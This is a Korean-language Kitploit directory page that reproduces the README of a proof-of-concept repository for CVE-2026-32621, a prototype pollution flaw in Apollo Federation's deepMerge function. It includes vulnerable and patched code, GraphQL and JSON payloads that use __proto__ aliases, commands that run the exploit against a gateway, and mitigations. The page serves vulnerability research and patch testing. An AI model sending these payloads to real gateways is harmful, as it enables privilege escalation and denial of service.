Skip to content
KitploitKITPLOIT
도구블로그
Log in
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
POC-CVE-2026-32621-Apollo-Federation-XSS-Vulnerability — CVE-2026-32621에 대한 PoC 익스플로잇으로, 조작된 GraphQL 별칭을 통해 Apollo Federation deepMerge 프로토타입 오염을 시연하며, 패치 버전 테스트를 포함합니다. | Kitploit
도구/GitHubGitHub/sam00/poc-cve-2026-32621-apollo-federation-xss-vulnerability
Vulnerability AnalysisExploitationWeb Application ExploitationAPI Security
GitHubsam00/poc-cve-2026-32621-apollo-federation-xss-vulnerability

POC-CVE-2026-32621-Apollo-Federation-XSS-Vulnerability

CVE-2026-32621에 대한 PoC 익스플로잇으로, 조작된 GraphQL 별칭을 통해 Apollo Federation deepMerge 프로토타입 오염을 시연하며, 패치 버전 테스트를 포함합니다.

저장소 보기
201개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-32621 - Apollo Federation 프로토타입 오염 PoC

개요

필드값
CVECVE-2026-32621
CVSS9.9 치명적(Critical)
CWECWE-1321 (프로토타입 오염)
영향받는 버전Apollo Federation < 2.9.6, < 2.10.5, < 2.11.6, < 2.12.3, < 2.13.2
패치된 버전2.9.6, 2.10.5, 2.11.6, 2.12.3, 2.13.2
GHSAGHSA-pfjj-6f4p-rvmh

취약점 설명

Apollo Federation의 deepMerge 함수(@apollo/query-planner 및 @apollo/gateway에서 쿼리 플랜 실행 중 서브그래프 응답을 병합하는 데 사용됨)는 target[key]에 접근하기 전에 키를 검증하지 않습니다.

소스 객체에 __proto__가 자체 속성으로 포함된 경우(JSON.parse가 이를 생성함) Object.keys()가 이를 반환하고, target["__proto__"]는 프로토타입 체인을 통해 Object.prototype으로 해석됩니다. 이후 병합 과정에서 속성이 Object.prototype에 직접 기록되며, 전체 Node.js 프로세스의 전역 프로토타입 체인이 오염됩니다.

근본 원인

// VULNERABLE (pre-patch)
for (const key of Object.keys(source)) {
  if (target[key] && isObject(source[key])) {
    deepMerge(target[key], source[key]);  // target["__proto__"] = Object.prototype!
  } else {
    target[key] = source[key];            // Direct assignment to prototype
  }
}

// PATCHED (post-patch)
for (const key of Object.keys(source)) {
  defineOwn(target, key);  // <-- Fix: shadows prototype property with own property
  if (target[key] && isObject(source[key])) {
    deepMerge(target[key], source[key]);
  }
}

공격 벡터

1. 클라이언트 측 (악성 GraphQL 쿼리)

클라이언트가 __proto__, constructor, prototype이라는 이름의 필드 별칭이 포함된 GraphQL 쿼리를 전송합니다. 게이트웨이가 응답을 처리할 때 deepMerge가 이러한 별칭을 키로 사용하여 Object.prototype을 오염시킵니다.

query {
  __proto__: products {
    polluted: id
  }
}

2. 서브그래프 측 (손상된 서브그래프)

손상된 서브그래프가 __proto__ 키가 포함된 JSON을 반환합니다. 게이트웨이가 deepMerge로 응답을 병합하면 Object.prototype이 오염됩니다.

{"data":{"__proto__":{"isAdmin":true,"polluted":"yes"}}}

3. 중첩 체인

query {
  constructor: products {
    prototype: id
  }
}

영향

  • 권한 상승: isAdmin, role, permissions 속성 주입
  • 서비스 거부(DoS): toString, valueOf를 null/손상된 함수로 재정의
  • 데이터 무결성: 비즈니스 로직에 영향을 주는 속성 주입
  • 지속성: 오염은 게이트웨이 인스턴스에 대한 모든 후속 요청에 영향을 미침
  • 요청 간 전파: 공격 이후의 모든 요청이 오염된 프로토타입을 참조함

문서

| 문서 | 내용 |

|----------|---------| | USAGE.md | 단계별 지침이 포함된 상세 사용 가이드 | | DIAGRAM.md | 구조 다이어그램 및 공격 흐름 시각화 |

파일

| 파일 | 용도 |

|------|---------| | exploit.js | 5가지 공격 벡터 + 로컬 데모를 포함한 주요 익스플로잇 | | test_exploit.js | 단위 테스트 (오염 및 패치를 검증하는 15개 테스트) | | e2e_test.js | 엔드투엔드 검증 (10개 테스트: 게이트웨이 + 익스플로잇 + 검증) | | setup_vulnerable.js | 테스트용 취약한 게이트웨이 시뮬레이터 |

사용법

빠른 시작 (로컬 데모)

# Run the local deepMerge vulnerability demonstration
node exploit.js

실행 중인 게이트웨이 없이도 취약한 코드 경로 그대로를 시연합니다.

전체 익스플로잇 (취약한 게이트웨이 사용)

# Terminal 1: Start vulnerable gateway simulator
node setup_vulnerable.js 4000

# Terminal 2: Run exploit against gateway
node exploit.js -u http://localhost:4000/graphql

테스트 실행

# Unit tests (15 tests)
node test_exploit.js

# End-to-end tests (10 tests - starts gateway, sends exploits, verifies pollution)
node e2e_test.js

실제 Apollo Gateway 대상 익스플로잇

# Target a real vulnerable Apollo Gateway instance
node exploit.js -u http://target-gateway:4000/graphql

예제 출력

======================================================================
  CVE-2026-32621 - Apollo Federation Prototype Pollution
  CVSS 9.9 Critical | CWE-1321
  Patched: 2.9.6, 2.10.5, 2.11.6, 2.12.3, 2.13.2
======================================================================

======================================================================
  Direct deepMerge Vulnerability Demonstration
  (Reproduces the exact vulnerable code path)
======================================================================

[Test 1] __proto__ pollution via JSON.parse source
  Source keys: __proto__
  source.__proto__ is own property: true
  VULNERABLE: Object.prototype.polluted_test1 = true
  PATCHED:    Object.prototype.polluted_test1 = undefined

[Test 2] constructor.prototype pollution
  VULNERABLE: Object.prototype.polluted_test2 = true
  PATCHED:    Object.prototype.polluted_test2 = undefined

--------------------------------------------------
  RESULTS SUMMARY
--------------------------------------------------
  [VULNERABLE] __proto__ via JSON.parse
  [SAFE]       __proto__ via JSON.parse (patched)
  [VULNERABLE] constructor.prototype
  [SAFE]       constructor.prototype (patched)

공격 체인 다이어그램

Client            Apollo Gateway              Subgraph
  │                   │                         │
  │  GraphQL query    │                         │
  │  with __proto__   │                         │
  │  field alias      │                         │
  │ ────────────────► │  Forward query          │
  │                   │ ──────────────────────► │
  │                   │                         │
  │                   │  JSON response with     │
  │                   │  __proto__ as own prop  │
  │                   │ ◄────────────────────── │
  │                   │                         │
  │                   │  deepMerge() called     │
  │                   │  target["__proto__"]   │
  │                   │  → Object.prototype     │
  │                   │  ⚠ POLLUTED!            │
  │                   │                         │
  │  200 OK           │                         │
  │  polluted: true   │                         │
  │ ◄──────────────── │                         │
  │                   │                         │
  │  ALL subsequent requests inherit polluted   │
  │  properties (isAdmin, polluted, etc.)       │

전체 아키텍처 다이어그램은 DIAGRAM.md를 참조하세요.

완화 조치

  1. 업그레이드: 패치 버전(2.9.6, 2.10.5, 2.11.6, 2.12.3, 2.13.2)으로 업그레이드
  2. 입력 필터링: 필드 별칭 및 변수 이름에 __proto__, constructor, prototype이 포함된 GraphQL 작업 차단
  3. 서브그래프 신뢰: 모든 서브그래프가 신뢰할 수 있는 소스에서 제공되는지 확인
  4. Object.create(null): 가능한 경우 null 프로토타입 객체 사용

참고 자료

  • NVD 항목
  • GitHub Advisory GHSA-pfjj-6f4p-rvmh
  • Apollo Federation 보안 권고
  • CWE-1321

라이선스

MIT

도구 다운로드